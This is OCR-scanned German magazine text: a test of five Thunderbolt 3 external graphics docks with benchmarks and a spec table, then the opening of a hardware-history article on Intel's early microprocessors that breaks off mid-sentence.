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klassische Gaming-Notebook ist ein 
17-Zöller und sogar deutlich über 
drei Kilogramm schwer. Mit der 
Grafikleistung steigen meist auch 
Maße und Gewicht. 


Die externen Grafikkarten-Gehäu- 
se, die wir Grafikdocks nennen, 
können ein Notebook mit Thun- 
derbolt-3-Anschluss um eine leis- 
tungsfähige Desktop-Grafikkarte 


erweitern, das dann mit einer Spiel- 
etauglichkeit gesegnet ist. Somit 
muss nicht ein komplett eigener 
Rechner zum Zocken angeschafft 
und aufgesetzt werden. 


Das Konzept einer externen Gra- 
fikkarte ist nicht neu: Noch immer 
verfügen aktuelle Alienware-Note- 


books über einen proprietären 
Anschluss für den sogenannten 
Alienware Grafikverstärker. Dabei 
handelt es sich auch um ein Grafik- 
dock, das aber nur an (Alienware-) 
Rechnern mit entsprechendem 
Anschluss funktioniert. Wie Thun- 
derbolt 3 auch ist die Schnittstelle 
auf vier PCI-E-3.0-Lanes beschränkt. 
Außerdem ist der „Grafikverstär- 
ker“ mit aktuell ca. 290 Euro nicht 
unbedingt viel günstiger als die 
hier getesteten Thunderbolt-3-Gra- 
fikdocks, die nicht markengebun- 
den sind. 


MSI hingegen hat vor einigen Jah- 
ren ein externes Grafikdock ver- 
öffentlicht, das die vollen 16 PCI- 
E-3.0-Lanes liefert. Mit satten 1.600 
Euro war es einerseits exorbitant 
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teuer und andererseits auch nur 
auf ein einziges Notebook-Modell 
beschränkt, dem MSI GS30 Sha- 
dow. Dieser 14-Zöller war mit 1,2 
Kilogramm recht leicht, scheiterte 
aber an der dürftigen Akkulaufzeit, 
um als mobiler Begleiter durch- 
zugehen. Diese Nachteile sorgten 
dafür, dass das Konzept insgesamt 
nicht aufging. Es war keine interes- 
sante Alternative zu zwei separaten 
Systemen. 


Mit Thunderbolt 3 gibt es schon 
seit 2015 eine Schnittstelle, die für 
die externe Anbindung einer Gra- 
fikkarte ausreichend dimensioniert 
ist. Nicht nur, dass der Standard mit 
40 GBit/s über vier PCIe-3.0-Lanes 
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doppelt so schnell ist wie der Vor- 
gänger. Mit der USB-Buchse im neu- 
en Typ-C-Format handelt es sich 
auch um eine Steckverbindung, die 
viele andere Anschlüsse ersetzen 
kann. Thunderbolt 3 ist ein wah- 
rer Alleskönner, der weitaus mehr 
als nur eine USB-3.1-Datenleitung 
bietet: Stromversorgung bis zu 
100 Watt, ein Bildsignal über acht 
DisplayPort-1.2-Lanes, Ethernet- 
Netzwerk bis 10 GBit/s. Die ganze 
Hardware-Welt könnte nur noch 
aus Typ-C-Verbindungen bestehen. 
Die Grafikdocks jagen daher oft 
mehr als nur die 3D-Grafik über das 
kurze Thunderbolt-Kabel. Oft sind 
auch LAN-Buchse, SATA-Anschlüs- 
se und USB-Hub mit dabei, was 
den Zweck einer Docking-Station 
erfüllt - es ist eben ein Grafikdock. 
Da die Grafikkarte im Desktop- 
Rechner aber mit 16 PCI-E-3.0-La- 
nes angebunden wird, ist es kein 
Geheimnis, dass sie mit nur vier 
Lanes, also extern angebunden, 
nicht ihr volles Potenzial ausschöp- 
fen kann. Sprich: Die Framerate der 
Grafikkarte ist deutlich geringer. 


Davon abgesehen beeinflussen, 
wie in jedem System, auch die 
anderen internen Komponenten 
des Rechners die Grafikleistung. 
Die meisten schlanken Business- 
Notebooks verfügen etwa über 
einen Ultra-Low-Voltage-Prozessor 
(ULV-CPU). Mit ihrer niedrigeren 
Spannung und daraus resultieren- 
den niedrigeren Verlustleistung 
(TDP) von nur 15 Watt sind etwa 
die Inteli7-Dualcores mit dem U 
hinten dran am Namen natürlich 
weitaus schwächer als die HQ- 
und HK-Prozessoren, die es auch 
als Notebook-Versionen gibt. All- 
gemein sind auch leistungsfähige 
Notebook-CPUs, etwa die i7-Quad- 
cores mit Hyperthreading, stets 
etwas schwächer als vergleichbare 
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Desktop-CPUs, was schon an der 
geringeren Verlustleistung über 45 
Watt erkennbar ist. 


Nun könnte man meinen, dass 
eigentlich jeder Rechner mit ei- 
nem Thunderbolt-3-Anschluss 
kompatibel mit einem Grafikdock 
ist. Doch leider gibt es hier meh- 
rere Fallstricke: Während man 
von der Farbe der USB-A-Buchse 
(schwarz oder blau) auf die jewei- 
lige Schnittstelle (USB 2.0 oder 3.0) 
schließen kann, ist das bei einer 
USB-C-Buchse nicht mehr der Fall. 
Dabei muss es sich nämlich nicht 
um die Thunderbolt-Schnittstelle 
handeln. USB-C kann mehrere bzw. 
unterschiedliche Sprachen spre- 
chen: Gerade günstigere Rechner 
bieten mit einer Typ-C-Buchse 1е- 
diglich einen USB-3.1-Datenport. 
Handelt es sich zudem nur um USB 
3.1 Generation 1, verfügt sie auch 
nur über die 3.0-Geschwindigkeit 
über 5 GBit/s. Thunderbolt 3 ist 
also Grundvoraussetzung für ein 
Grafikdock, da nur dieses mit PCI- 
Express 3.0 arbeitet und davon vier 
Lanes bietet. Die Schnittstelle ist 
am kleinen Blitzsymbol neben der 
Buchse zu erkennen. Das ist aber 
nicht immer vorhanden: Bei unse- 
rem Testnotebook, ein Tuxedo Infi- 
nitybook, etwa ist ein ,3.1“ zu lesen, 
während es sich in Wirklichkeit 
um Thunderbolt 3 handelt, dessen 
Bandbreite mit 40 GBit/s doppelt 
so schnell ist. Im Zweifel hilft nur 
ein Blick ins Datenblatt oder ein- 
fach Ausprobieren. Asus wies uns 
außerdem darauf hin, dass nicht 
jedes System mit Thunderbolt 3 
kompatibel sein muss: Die Funkti- 
on müsse im UEFI (ehemals BIOS) 
implementiert sein. Ist das der Fall 
kónnen Geräte unterschiedlicher 
Hersteller zusammenarbeiten. 


Die Gaming-Box von Gigabyte (Mitte) ist das einzige Modell, das mit Grafikkarte und 
praktischer Tasche verkauft wird. Nächstkleiner ist die Sonnet Breakaway Box. 


Über einen Hebel lässt sich die Abdeckung des Omen Accelerator schraubenlos 
abnehmen. Auch die Grafikkarte lásst sich bequem einbauen. 


Die Powercolor Devil Box verfügt über zwei laute Lüfter, einem Servernetzteil sowie 
Platz und Anschlüsse für ein 2,5-Zoll-Laufwerk. 


Fünf Grafikdocks konnten wir zum Test bitten: Die Unterschiede sind eher oberflächlich in Form, Gewicht und Größe. Die technische Schnittstelle ist stets Thunderbolt 3. 
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Spieleleistung mit dem Thunderbolt-Flaschenhals 


The Witcher 3, „Boat Trip”, FHD, Ultra Details, kein Hairworks 
GTX 1080 Ti, 1.582 MHz, im Testsystem (x16) 132,0 (Basis) 


GTX 1080 Ti, 1.582 MHz, im Gra 


ikdock 


x4) mesi 79,5 (-40 %) 


GTX 1080, 1.733 MHz, im Testsystem (x16) 0618 112,3 (Basis) 


GTX 1080, 1.733 MHz, im Gra 


ikdock 


хд) pee 67,9 (-40 96) 


RX Vega 64, Balanced, im Testsystem (x16) gt 102,3 (Basis) 


RX Vega 64, Balanced, im Gra 


ikdock 


хд) pee 69,4 (-32 90) 


GTX 1070, 1.683 MHz, im Testsystem (x16) XXe 88,5 (Basis) 


GTX 1070, 1.683 MHz, im Gra 


ikdock 


хД) Xs 54,9 (-38 %) 


RX Vega 56, Balanced, im Testsystem (x16) EB 87,1 (Basis) 


RX Vega 56, Balanced, im Gra 


ikdock 


х4) peat 67,2 (-23 %) 


GTX 980 Ti, 1.075 MHz, im Testsystem (x16) Em 79,8 (Basis) 


GTX 980 Ti, 1.075 MHz, im Gra 


ikdock 


x4) msg 56,8 (-29 90) 


АХ 580/8G, 1.340 MHz, im Testsystem (x16) etit 63,7 (Basis) 


RX 580/8G, 1.340 MHz, im Gra 


ikdock 


x4) puo 44,8 (-30 96) 


GTX 1060/6G, 1.709 MHz, im Testsystem (x16) ШБ] 61,2 (Basis) 
GTX 1060/66, 1.709 MHz, im Grafikdock (x4) EEE 41,5 (-32 96) 


GTX 970, 1.178 MHz, im Testsystem (x16) gti 54,3 (Basis) 
GTX 970, 1.178 MHz, im Grafikdock (x4) EEE 42,1 (-22 %) 


Ethan Carter Redux, , Tracks", FHD & 150 %, Hóchste Details 
GTX 1080 Ti, 1.582 MHz, im Testsystem (x16) m 118,2 (Basis) 


GTX 1080 Ti, 1.582 MHz, im Gra 


ikdock 


na) Же 


GTX 1080, 1.733 MHz, im Testsystem (x16) EPOOEEIC E 94,8 (Basis) 


GTX 1080, 1.733 MHz, im Gra 


ikdock 


od) БИ 7,8 (28 %) 


GTX 1070, 1.683 MHz, im Testsystem (x16) X 75,6 (Basis) 


GTX 1070, 1.683 MHz, im Gra 


ikdock 


wa) Es 59,9 (-21 %) 


RX Vega 64, Balanced, im Testsystem (x16) ШШШ! 72,3 (Basis) 


RX Vega 64, Balanced, im Gra 


ikdock 


xa) ВИНУ И 60,6 (-16 %) 


GTX 980 Ti, 1.075 MHz, im Testsystem (x16) DEE 71,7 (Basis) 


GTX 980 Ti, 1.075 MHz, im Gra 


ikdock 


xa) 65,2 (-18 96) 


RX Vega 56, Balanced, im Testsystem (x16) M 64,5 (Basis) 


RX Vega 56, Balanced, im Gra 


ikdock 


o4) RSS 57,5 (711 96) 


GTX 1060/66, 1.709 MHz, im Testsystem (x16) 481] 53,2 (Basis) 
GTX 1060/66, 1.709 MHz, im Grafikdock (x4) ШШШ 44,8 (-16 96) 


АХ 580/86, 1.340 MHz, im Testsystem (x16) X481] 46,5 (Basis) 
АХ 580/8G, 1.340 MHz, im Grafikdock (x4) ВЕ 351 39,0 (-16 96) 


GTX 970, 1.178 MHz, im Testsystem (x16) M53] 42,7 (Basis) 
GTX 970, 1.178 MHz, im Grafikdock (x4) EZB] 46,2 (+8 96) 


System: i7-6900K @ 4,0 GHz, 32 GB RAM, MSI X99A Gaming Pro Carbon, Win 10 x64; 
Notebook: Asus GL702VM, i7-6700HQ, 32 GB RAM Bemerkungen: Je leistungsfähiger 
die Grafikkarte, umso größer die Leistungseinbußen durch die vier PCI-E-Lanes. 


Mimil 2 Fps 


» Besser 


Internes Display frisst Frames 


The Witcher 3, „Boat Trip”, FHD, Ultra Details, kein Hairworks 


Noteb., Gigab. GTX 1070 Box mit Monitor A 57,7 (Basis) 
Noteb., Gigab. GTX 1070 Box mit NB-Displ. БӨ 53,0 (-8 96) 


System: Tuxedo Infinitiybook Pro 13, i7-8550U, 16 GB DDR4-2400 Bemerkungen: 
Wird das Notebook-Display verwendet, zwackt sich das Displaysignal etwas von der 
Thunderbolt-Bandbreite ab, was Frames kostet. 


Mimil @ Fps 


» Besser 
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Welche GPU verliert wieviel 
Leistung? 

Es gibt also mehrere Flaschen- 
hälse, wenn man die Leistung 
ein und derselben Grafikkarte in 
unterschiedlichen Systemen ver- 
gleicht. Da die Grafikkarte aber 
nahezu ausschließlich alleine für 
die durchschnittliche Framerate 
verantwortlich ist, kann trotzdem 
aussagekräftiger Überblick 
über die Leistungseinbußen un- 
terschiedlicher GPUs bei externer 
Anbindung angestellt werden. Un- 


ein 


ser Grafikkarten-Referenzsystem 
ist ein High-End-Setup mit dem 
Broadwell-E-Achtkerner i7-6900K 
und 32 GiByte DDR4-RAM. Die 
Grafikkarte ist jeweils ein Modell 
in der Founders Edition. Das Note- 
book, an dem wir die FE-Grafikkar- 
te in einem Dock angeschlossen 
haben, ist ein Asus GL702VM, das 
selbst über eine GTX 1060 verfügt, 
die wir für den Betrieb mit exter- 
ner Grafikkarte natürlich deakti- 
viert haben. Als Prozessor steht 
im Notebook „nur“ ein Intel Core 
i7-6700HQ zur Verfügung - ein 
Quadcore auf Basis der 2015er Sky- 
lake-Architektur. Da „Тһе Witcher 
3“ auch die CPU durchaus fordert, 
fallen die Leistungsunterschiede 
weitaus größer aus als im GPU- 
lastigem „The Vanishing of Ethan 
Carter“. Davon abgesehen ist eine 
Tendenz erkennbar: Leistungsfä- 
hige Grafikkarten werden durch 
Thunderbolt-3-Flaschenhals 
verhältnismäßig stärker gedros- 
selt als Mittelklasse-Grafikkarten. 
Selbst mit einem relativ potenten 
i7-Quadcore-Prozessor im Note- 
book dümpelt eine GTX 1080 Ті in 
Full-HD-Auflösung in Regionen um 


den 


die 65 Fps herum und ist nicht viel 
stärker als etwa die beiden AMD- 
Vega-Karten. Ein Grafikdock kann 
ein Notebook daher nicht zum 
High-End-Gaming-System verwan- 
deln. 


Ein weiterer Frame-Fresser ist das 
interne Display des Notebooks, 
weil die Thunderbolt-Schnittstelle 
zwischen System und Grafikdock 
dann sozusagen als Hin- und Rück- 
leitung fungiert. Wer einen extra 
Monitor direkt an der Grafikkarte 
im Dock anschließt, schindet somit 
also noch einige Frames mehr her- 
aus. In unserer Stichprobe mit der 
Gigabyte GTX 1070 Gaming Box 
und dem Tuxedo Infinitybook sind 
die Einbußen mit acht Prozent nun 


relativ gering, sodass es sich nicht 
etwa lohnt, extra deswegen einen 
Monitor anzuschaffen. 


Asus ROG XG Station 2: Extravagant 
beleuchteter Kasten mit Gold-Netz- 
teil. Das Grafikdock von Asus ist ein 
Hingucker. Nicht etwa nur wegen 
dem ROG-typischen Oberflächen- 
muster oder der futuristischen 
Form, sondern die rote Plasmaröh- 
re an der Front, in der ein kleiner 
Blitz flackert. Ein abgedunkeltes 
Fenster am linken Gehäuseflügel 
erlaubt einen Blick auf die innen 
rot beleuchtete Grafikkarte. Eben- 
so innen auf der Platine befindet 
sich ein Taster, der die Beleuch- 
tung ein- oder ausschaltet. Den 
hätte Asus ruhig außen anbringen 
können. Das interne Netzteil ver- 
fügt über eine 80-Plus-Gold-Effizi- 
enz - der Wirkungsgrad beträgt 
also je nach Last zwischen 88 und 
92 Prozent. Außerdem stehen zwei 
8-Pin-Stecker zur Verfügung, die 
beide von manchen Grafikkarten, 
etwa den beiden Radeon-Veganern 
auch benötigt werden. Zum echten 
Dock wird der Asus-Kasten erst 
durch den SATA-Anschluss und 
durch den Gigabit-LAN-Port - bei- 
de laufen über die Thunderbolt- 
3-Verbindung. Die vier USB-3.0- 
Anschlüsse müssen extra mit 
einem Typ-B-Kabel angeschlossen 
werden und klauen somit keine 
Thunderbolt-Bandbreite. Das Asus- 
Grafikdock bietet gehobene Optik 
und Ausstattung, ist mit über 500 
Euro aber das mit Abstand teuerste 
Leergehäuse. 


Powercolor Devil Box: Pionier mit 
gutem Preis-Leistungsverhältnis. 
Der Teufelskasten von Powerco- 
lor war Ende letzten Jahres das 
Thunderbolt-3-Grafikdock 
auf dem deutschen Markt. Erst im 


erste 


Laufe dieses Jahres sind nach und 
nach andere Hersteller gleichge- 
zogen. Die Seitenteile können re- 
lativ einfach per Rändelschrauben 
abgenommen werden. Der Einbau 
der Grafikkarte gestaltet sich aber 
etwas fummelig, weil dazu extra 
die Abdeckung der Oberseite ab- 
geschraubt werden muss - das ist 
unnötig umständlich und nicht 
gerade 
wohl die beiden internen Lüfter 


wechselfreundlich. So- 
als auch der des Server-Netzteils 
sind relativ laut, da sie stets mit ei- 
ner hohen Drehzahl laufen. Recht 
laut sind aber alle hier getesteten 
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Docks - ihnen fehlt allesamt eine 
Regulierung. Die Devil Box bietet 
zumindest Platz für eigenes Silent- 
Tuning.. 


HP Omen Accelerator: GroBer Lüfter, 
aber nicht Vega-tauglich. Einer der 
wesentlichen Unterschiede zwi- 
schen den Grafikdocks ist die An- 
zahl der Pins an den Stromsteckern. 
Eine Radeon Vega genehmigt sich 
zwei Acht-Pin-Stecker. Das Netzteil 
des Omen Accelerator bietet am 
zweiten aber lediglich sechs, daher 
verweigert eine Vega hier ihren 
Dienst. Kompatibel sind also nur 
Grafikkarten mit maximal 14 Pins. 
Der stylische Omen-Kasten punktet 
dafür im Komfort: Über einen He- 
bel ist die Abdeckung schraubenlos 
abnehmbar und auch die Schraube, 
die die Grafikkarte fixiert, ist fest 
in einer Schiene eingebaut. Außer- 
dem ist das Omen das einzige Gra- 
fikdock mit recht leisem Lüfter im 
Leerlauf. Für aktuell 300 Euro ist es 
auch das Modell mit bestem Preis- 
Leistungsverhältnis. 


Gigabyte Aorus Geforce GTX 1070 
Gaming Box: Mobiler Mini-Kasten 
mit Grafikkarte und Tasche. Auch 
wenn andere Grafikdocks optio- 
nal mit Grafikkarte erhältlich sein 
werden, ist die Gaming Box von 
Gigabyte aktuell das einzige Modell 


Über eine Schiebe- 
Arretierung lässt 
sich die Asus ROG 
XG Station 2 recht 
einfach öffnen. 


mit Grafikkarte. Mehr noch: Es ist 
das einzige mit kompakten Aus- 
maßen, das außerdem nur für die 
17 cm kurze Gigabyte GTX 1070 
konzipiert ist. Andere, ähnlich 
kurze Grafikkarten dürften aber 
genauso funktionieren. Aufgrund 
der Ausmaße bietet es nicht etwa 
eine LAN-Buchse oder Platz für ein 
2,5-Zoll-Laufwerk, wohl aber drei 
USB-3.0-Anschlüsse und eine USB- 
Ladebuchse, die per Thunderbolt 
3 betrieben werden. Abzüglich der 
ca. 440 Euro für die Grafikkarte 
kostet der kleine Kasten inkl. Zu- 
behör effektiv ca. 200 Euro und ist 
damit am günstigsten. 


Sonnet Breakaway Box: Puristisch 
in Ausstattung und Design. Sonnet 
bietet mit der Breakaway Box kei- 
nerlei Docking-Station-Merkmale, 
wie etwa LAN, Laufwerksschacht 
oder USB-Hub. An der Rückseite 
sind lediglich Strom- und Thunder- 
bolt-Buchse zu finden. Der Kasten 
ist zwar etwas kompakter als die 
anderen drei großen Modelle, bie- 
tet aber auch weniger. Das Netzteil 
mit 375 Watt ist das schwächste, 
es dürfte dennoch für die meisten 
Grafikkarten ausreichen. Für aktu- 
ell 350 Euro ist es noch keine Bud- 
get-Alternative, da gibt es woanders 
mehr für’s Geld. (mc) 


Нагйшаге 


Еа 


Weniger für mehr 

Auch wenn immer mehr Hersteller 
Grafikdocks auf den Markt werfen, 
bleibt die externe Lósung noch im- 
mer eine recht teure Alternative mit 
schmerzhaften Kompromissen. Zum ei- 
nen kosten sie mehr wie ein günstiges 
Desktop-Setup, zum anderen sind die 
LeistungseinbuBen wegen des Thun- 
derbolt-3-Flaschenhalses noch immer 
gravierend. Allein Gigabyte zeigt mit 
dem kompakten Dock eine interes- 
sante mobile Variante. Meist lohnt 
doch ein extra Desktop-System. 


EXTERNE 
GRAFIKDOCKS 


Produkt 


Hersteller 


Ca.-Preis/Preis-Leistungs-Verhàltnis 


ROG XG Station 2 


Asus 


Devil Box 


Powercolor 


en Accelerator 


HP 


Aorus Geforce GTX 1070 
Gaming Box 
Gigabyte 


Breakaway B 


Sonnet 


€ 515,-lausreichend 


€ 360,-/befriedigend 


€ 300,-/befriedigend 


€ 640,-/befriedigend 


€ 350,-/befriedigend 


PCGH-Preisvergleich www.pcgh.de/preis/1556386 www.pcgh.de/preis/1526018 www.pcgh.de/preis/1526018 www.pcgh.de/preis/1653660 
Grafikkarten-Aufnahmeleistung Bis 450 Watt Bis 375 Watt Bis 300 Watt Keine Angabe Bis 375 Watt 
Grafikkarten-Abmessungen Bis 310 mm Bis 310 mm Bis 290 mm Bis 190 mm Bis 310 mm 
Grafikkarten-Stromstecker 2x 8-Pin (6+2) 2x 8-Pin (6+2) 1x 8-Pin (64-2), 1x6-Pin 1x 8-Pin 1x 8-Ріп (6+2), 1x6-Pin 
Zusátzliche Anschlüsse 1x USB-B 3.0 (Eingang), 4x USB-A 3.0, |4x USB-A 3.0, 1x Gigabit-LAN, 1x USB-C 3.1, 4x USB-A 3.0, 3x USB-A 3.0, 1x USB-A-Ladebuchse 

1x Gigabit-LAN 1x SATA 6Gb/s 1x Gigabit-LAN 
Lüfter 3x 60 mm 1x 80 mm 1x 120 mm 2x 40mm 1x 120 mm 
Scháchte intern 1x 2,5 Zoll 1x 2,5 Zoll 1x 2,5 Zoll 


Beleuchtung 


Rote LEDs innen, Plasmaróhre an 
der Front 


RGB-LED Streifen innen 


Rote LEDs innen, Rot leuchtendes Logo 
an der Front 


RGB-Beleuchtung innen 


Blau leuchtendes Logo an der Front 


Netzteil 680 Watt (80 Plus Gold) 550 Watt (80 Plus Gold) 500 Watt 450 Watt (80 Plus Gold) 375 Watt 

Abmessungen (BHxT) 158x278x456mm 172x242x400mm 400x200x200mm 96x162x212mm 185x202x340mm 

Gewicht 5,1 kg 6,0 kg 5,5 kg 2,36 kg (inkl. Grafikkarte) 32kg 

Zubehór Kaltgerätestecker, USB-C-Kabel Kaltgerätestecker, USB-C-Kabel Kaltgerätestecker, USB-C-Kabel Kaltgerátestecker, USB-C-Kabel, engl. Kaltgerätestecker, USB-C-Kabel, engl. 


Dokumentation, Treiber-CD 


Dokumentation 


Besonderheiten 


FAZIT 
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USB extra per Typ-B angeschlossen, Ken- 


sington-Buchse, schraubenloses Öffnen 
© Keine Graka-Limitierungen 

|© Extra angeschlossene USB-Ports 
© Laute Lüfter und teuer 


USB-C Power Delivery (60W) 


© Viel Platz im Gehäuse 


USB-C Power Delivery (60W), schrauben- 
loses Öffnen 


CG Bequeme Installation 


© Gutes Preis-Leistungsverhältnis © Leiser Leerlauf-Betrieb 


© Auch im Leerlauf laut 


© Nur 14 Pins 


USB-C Power Delivery (100W), inklusive |- 


Tragetasche und Grafikkarte 

© Einziges mobiles Modell 

© Laute aber gute Lüftung 

‚© Beschränkt auf Mini-Grakas 


© Großer Lüfter 
| © Kompaktes Gehäuse 


‚© Keine extra Anschlüsse 


Wertung: kk kk + Wertung: k kk yc Wertung: k kk Wertung: kk kk Wertung: k k k k 
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Innovativ, revolutionär oder doch nur seltsam. In unserer neuen Serie wollen wir Hardware-Legenden 


und kuriose Auswüchse der Computergeschichte vorstellen und in den Fokus rücken. 


m im Hardwarebereich zu 

einer Legende zu werden, 
bedarf es einer maßgeblichen Ver- 
besserung des vorherrschenden 
Status quo. Ein gutes Beispiel hier- 
für ist die Voodoo 1 3D-Beschleu- 
nigerkarte von 3Dfx Interactive, 
die vor knapp 21 Jahren die Com- 
puterspielgrafik von CPU-Limitie- 
rungen befreite und dadurch der 
Spielebranche zu einem enormen 
Entwicklungsschub verhalf bezie- 
hungsweise heutige 3D-Welten 
überhaupt erst ermöglichte. 


Das Gegenstück zu Hardware-Le- 
genden sind Produkte, die maßgeb- 
lich eine Verbesserung im Compu- 
terbereich erzielen oder innovative 
Ideen etablieren wollten - aber mit 
ihren kuriosen Ansätzen und seltsa- 
men Konzepten grandios scheiter- 
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ten. Ein Beispiel für diese ambitio- 
nierten Flops ist der Commodore 
C64GS: Ein regulärer Commodore 
C64, bloß ohne Keyboard und Da- 
tasette. Davon abgesehen, dass der 
C64 so nahezu unbrauchbar wurde 
und sich nur über Cartridges betrei- 
ben ließ, lag der klägliche Versuch, 
in den Konsolenmarkt zu drängen, 
auch wegen seines hohen Preises 
wie Blei in den Regalen. 


Derartiger Computer-Hardware 
widmen wir unsere neue Arti- 
kelserie - egal ob Legende oder 
Kuriosum, vom Eingabegerät bis 
zum Mikroprozessor. Wenn Sie 
Vorschläge für weitere interessan- 
te Beispiele aus der Hardware-Ge- 
schichte haben, nehmen wir ihre 
Favoriten dankend unter leserpost@ 
pcgameshardware.de entgegen. 


Die digitale Revolution 

Um die Serie gebührend zu eróff- 
nen, beginnen wir mit den ersten 
Mikrochips, die vor knapp 40 Jah- 
ren die digitale Revolution einlàu- 
teten und damit die Gesellschaft 
umkrempelten. Gemeint sind die 
4-Bit- und 8-Bit-Mikroprozessoren 
von Intel, die Anfang der 1970er- 
Jahre aus raumfüllenden Rechen- 
maschinen kompakte Heimcom- 
puter machten und damit jeden 
Bereich des Lebens veränderten. 
Die Mikrochip-Legenden, die wir 
im Folgenden behandeln, haben 
durch ihre damalige Verbreitung 
immer noch einen direkten Einfluss 
auf moderne 32-Bit- und 64-Bit-x86- 
Architekturen: Eine Abwártskompa- 
tibilität wurde damals zur Design- 
Voraussetzung für den i8086 und 
folgende Prozessoren gemacht. 


Intels erster Mikroprozessor 
Der Chiphersteller aus dem kali- 
fornischen Silicon Valley stellte bis 
1971 hauptsächlich elektronische 
Speicherbausteine wie etwa SRAM 
(Static Random Access Memory) 
oder DRAM (Dynamic Random 
Access Memory) her und konnte 
sich in diesem Bereich während 
der 1970er sogar als Marktführer 
etablieren. Intel hatte nur zögerlich 
den Einzug in den Mikroprozessor- 
bereich gewagt, als eine Firma für 
elektronische und mechanische 
Rechenmaschinen einen Chip für 
einen Rechenschieber in Auftrag 
gab. Dennoch stellte man sich der 
Herausforderung, einen komplett 
neuen Chip zu designen, und das 
Resultat war der erste monolithi- 
sche, kommerziell erhältliche 4-Bit- 
Mikroprozessor der Welt - der In- 
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tel 4004. Der Chip verfügte über 
2300 Transistoren und hatte ein 
16-Pin-Design. 


Mit dem i4004 hielt außerdem eine 
neue Fertigungstechnologie Ein- 
zug in die digitale Elektrotechnik, 
das selbst ausrichtende Silizium- 
Gate. Verglichen mit der damals 
üblichen Aluminium-Gate-Technik, 
die zusätzliche Belichtungsmasken 
und -ungenauigkeiten erforderte, 
konnte Intel nicht nur die doppel- 
te Menge an Transistoren auf einen 
Chip packen, sondern sie auch 
noch mit der fünffachen Geschwin- 
digkeit betreiben. Nichtsdestotrotz 
war die erste universell einsetzba- 
re Einchip-CPU mit einem vier Bit 
breiten Register und einer Taktrate 
von bis zu 740 KHz nicht besonders 
leistungsfähig, setzte mit ihrer ge- 
ringen Größe aber dennoch die 
damals üblichen Kombinationen 
aus Terminals und zentralen Main- 
frame-Computern unter Druck und 
läutete den Siegeszug der Mikro- 
prozessoren ein. 


Von TTL zu VLSI 

Kurz bevor Intel den ersten kom- 
merziell erháltlichen Mikroprozes- 
sor fertigstellte, hatte die Computer 
Terminal Corporation (CTC) ein 
Datensichtgerät (Computer-Termi- 
nal) auf den Markt gebracht, den 
Datapoint 3300. Das Gerät litt aber 
wegen eng gepackter Baugruppen 
unter Hitzeproblemen und musste 
deshalb einem Redesign unterzo- 
gen werden, bei dem ein Mirkopro- 
zessor zum Einsatz kommen sollte. 


Zuvor wurden digitale Schaltkrei- 
se vorwiegend in TTL-Bauweise 
(Transistor Transistor Logik) aus 
Chips aufgebaut, die jeder nur ein 
paar Dutzend bis wenige Hundert 
Bipolartransistoren enthielten. So 
ließen sich einfachste Funktionen 
(Flip-Flops, Counter) 
Chip integrieren, die Funktionali- 
tät eines Prozessors im heutigen 
Sinne konnte aber nur durch Ver- 
schaltung zahlreicher Chips auf 
einer Platine erreicht werden. Dies 


in einem 


änderte sich mit dem Wechsel auf 
CMOS-Transistoren und -Fertigung, 
die mit Tausenden Transistoren pro 
Chip die Ага der Very Large Scale 
Integration (VLSI) einlàutete. Im 
Gegensatz zu TTL verbraucht die 
modernere Technologie nicht nur 
erheblich weniger Platz, sondern 
auch deutlich weniger Strom. Das 
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Redesign des Datapoint-3300-Ter- 
minals sollte deswegen die gesam- 
ten Schaltkreise auf einen einzel- 
nen Chip kondensieren, um der 
Hitzeprobleme Herr zu werden. 


Der Erfolg des i4004 rückte Intel in 
den Fokus des Terminalproduzen- 
ten, die den kalifornischen Chip- 
hersteller mit der Entwicklung des 
Datapoint-3300-Chips beauftragte. 
Er hatte anfangs noch Bedenken, 
die hochintegrierte CPU kónnte 
das eigene Gescháft ruinieren, da 
pro Computer nur noch ein Chip 
verkauft werden würde. Letztlich 
wartete die Computer Terminal 
Corporation aber nicht bis zur Fer- 
tigstellung des Mikroprozessors 
und baute stattdessen in Eigenre- 
gie eine redesignte Version des 
Datapoint-Terminals mit einer dis- 
kreteteren TTL-Verschaltung, um 
den Hitzeproblemen zu begegnen. 


8-Bit-Power entfesselt: 
Intels 8008 

Der beauftragte 8-Bit-Mikroprozes- 
sor mit dem Namen 1201 wurde 
für den Terminalhersteller dadurch 
obsolet und selbst nach einer Über- 
arbeitung vonseiten Intels sah der 
Auftraggeber keinen Nutzen in dem 
Chip, sondern zog sich aus dem 
Projekt zurück. Der Chiphersteller 
lóste schliefslich den Chip mit einer 
Zahlung von 50.000 US Dollar an 
CTC aus dem Entwicklungsvertrag, 
benannte ihn um und brachte ihn 
1972 selbst auf den Markt: Intels 
erste 8-Bit-CPU war geboren, der 
Intel 8008. 


Der 18008 ist ein speicherprogram- 
mierter Universalrechner, wird also 
der Von-Neumann-Architektur ge- 
recht. Diese Funktionsmodell, das 
1945 vom Mathemathiker John von 
Neumann vorgeschlagen wurde, 
bildet auch heute noch die Grundla- 
ge für nahezu jeden Rechner. Frühe 
Großrechner und auch viele Tisch- 
geräte aus der Zeit vor dem 18008 
waren dagegen an feste Programme 
gebunden, die hardwareseitig ver- 
schaltet wurden und nur die Durch- 
führung bestimmter Aufgaben er- 
móglichten - wie etwa bei einem 
simplen Taschenrechner. Derartige 
Maschienen konnten nur durch 
Neuverdrahtung des gesamten Re- 
chenwerks neu programmiert wer- 
den, was nicht nur zu umständlich 
für Endnutzer war, sondern auch 
Unmengen an Zeit kostete. 


A 
H 


Zusätzlich zum Intel 4004 gab es noch drei weitere Unterstüzungschips, die beispiels- 
weise Schieberegister oder den Ausgabe-Port für die CPU verwalteten. 


Busicoms trat mit dem Unicom 141-PF die digitale Revolution los, die mit der Herstel- 
lung des ersten kommerziell verfügbaren Mikroprozessors der Welt begann 


Mit dem 8008 konnte man dage- 
gen nach heutigen Standards pro- 
grammieren, und damit theoretisch 
alle Aufgaben lösen, die in den 
verfügbaren Speicher passen. Die 
Bearbeitung erfolgte gemäß Von 
Neumann in den bis heute für pro- 
grammbasierte Rechner üblichen 
fünf Komponenten: Rechenwerk, 
Steuerwerk, Bus-System, Speicher- 
werk und Ein-/Ausgabewerk. Auf 
Grundlage dieses Designs ermög- 
lichte der i8008 den Bau der ersten 
persönlichen Computer, wie dem 
französischen Micral N und dem 
kanadischen MCM/70. Es dauerte 
nicht mehr lange und PCs wurden 
zu einer alltäglichen Erscheinung. 


Die digitale Revolution 
beginnt 

Bereits zwei Jahre nachdem der 
i8008 auf den Markt gekommen 
war, überarbeitete Intel den Chip 
und veröffentlichte eine verbesser- 
te Version - den i8080. Er wurde 
unter der Leitung von Frederico 
Faggin konstruiert, der sich seiner- 
zeit auch für den i4004 verantwort- 
